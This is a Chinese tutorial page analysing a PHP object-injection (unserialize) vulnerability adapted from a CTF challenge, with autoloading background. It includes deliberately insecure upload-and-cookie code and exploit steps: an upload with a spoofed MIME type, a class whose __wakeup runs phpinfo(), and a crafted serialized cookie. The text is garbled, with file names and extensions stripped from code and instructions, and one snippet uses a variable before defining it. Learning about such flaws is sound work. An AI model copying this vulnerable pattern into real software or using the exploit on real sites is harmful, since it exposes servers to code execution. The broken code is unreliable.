當前位置:文思屋>社會工作>電腦培訓>

PHP物件注入的例項分析

文思屋 人氣:9.65K

注入我們聽到最多的sql了,其實php注入也是黑客常用的一種辦法了,下面我們就來學習一下php注入攻擊的記錄,希望大家能夠通過此教程來做好自己網站安全。

1. 寫在前面

最近經常會遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP物件注入。這些漏洞可能在平時很難遇到,但是在CTF以及一些CMS倒是經常看到他們的背影。今天剛剛好手上看到了某CTF的程式碼,但是並沒有獲取所有原始碼,因此修改了部分程式碼進行分析。

2. 自動載入

2.0 為什麼要自動載入?

在物件導向程式設計中,程式設計師經常會編寫好類然後在一個入口檔案中將它們包含進來。如果一個專案非常大,可能存在成百上千個類檔案,如果一一包含進去,那麼入口檔案就會顯得特別大並且不利於維護。因此,PHP5提供了一種自動載入機制。

2.1 __autoload

function __autoload($classname){

$class_file = strtolower($classname)."";

if(file_exists($class_file)){

require_once("$class_file");

}else{

echo "$class_file does not exist!";

}

}

$obj = new File();

訪問,程式會嘗試例項化File類。PHP的解析器會自動呼叫__autoload()函式。假設當前目錄下沒有,那麼就會輸出 “ does not exist!” 並且丟擲錯誤。

class File{

function __construct(){

echo "File class is instantiated";

}

}

此時訪問,就會得到 “File class is instantiated” 的結果。這樣一來,自動載入機制就非常好理解了。

2.2 手動呼叫 spl_autoload

void spl_autoload ( string $class_name [, string $file_extensions ] )

它可以接收兩個引數,第一個引數是$class_name,表示類名。第二個引數$file_extensions是可選的,表示類檔案的副檔名;如果不指定的話,它將使用預設的副檔名或。

spl_autoload首先將$class_name變為小寫,然後在所有的include path中搜索$class_或$class_檔案(如果不指定$file_extensions引數的話),如果找到,就載入該類檔案。

同樣,你可以手動使用spl_autoload(“Person”, “”)來載入Person類。實際上,它跟require/include差不多

舉個例子

spl_autoload("upload");

$F = new Upload();

這裡沒有指定副檔名,那麼就會在當前目錄下尋找或者並自動載入。其實,到這裡而言,和require、include相比並沒有簡單。相反,它們的'功能基本是一模一樣的。

2.3 自動呼叫 spl_autoload

上面所說的使用手動的方式呼叫spl_autoload,工作量其實和require/include基本上差不多。呼叫spl_autoload_register()的時候,如果沒有指定欲註冊的自動裝載函式,則自動註冊 autoload 的預設實現函式spl_autoload()。

舉個例子

spl_autoload_register();

$F = new Upload();

此時,程式會在當前路徑下自動載入或。

3. 反序列化

字串序列化成類之前,類必須提前宣告,否則無法反序列化。

字串在反序列化的時候,會自動呼叫__wakeup()魔術方法

Object序列化格式 -> O:strlen(物件名):物件名:物件大小:{s:strlen(屬性名):屬性名:屬性值;(重複剩下的元素)}

4. 漏洞剖析

include_once "";

if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

include_once __DIR__ . "/" . $req["act"] . "";

exit;

}

spl_autoload_register();

error_reporting(0);

ini_set('display_errors', false);

$req = [];

foreach([$_GET, $_POST] as $global_var) {

foreach($global_var as $key => $value) {

is_string($value) && $req[$key] = addslashes($value);

}

}

$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

if($_FILES["attach"]["error"] == 0) {

if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

$typeAccepted = ["image/jpeg", "image/gif", "image/png"];

$blackext = ["php", "php5", "php3", "html", "swf", "htm"];

$filearr = pathinfo($_FILES["attach"]["name"]);

if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

exit("type error");

}

if(in_array($filearr["extension"], $blackext)) {

exit("extension error");

}

$filename = $_FILES["attach"]["name"];

if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

array_push($userinfo, $filename);

setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

echo htmlspecialchars("upload success, new filename is {$filename} .");

} else {

echo "upload error!";

}

}

} else {

echo "no upload file";

}

在中執行了spl_autoload_register()函式,並沒有使用引數。

字尾沒有禁止的型別

在會反序列化COOKIE中的資料

上傳目錄在當前目錄下

因此我們需要如下構造:

上傳一個名為的檔案,抓包修改MIME型別。的內容如下所示:

class info{

function __wakeup(){

phpinfo();

}

}

修改cookie的uesrinfo欄位為:O:4:”info”:0:{}

訪問即可觸發phpinfo()函式。

TAGS:PHP 例項 注入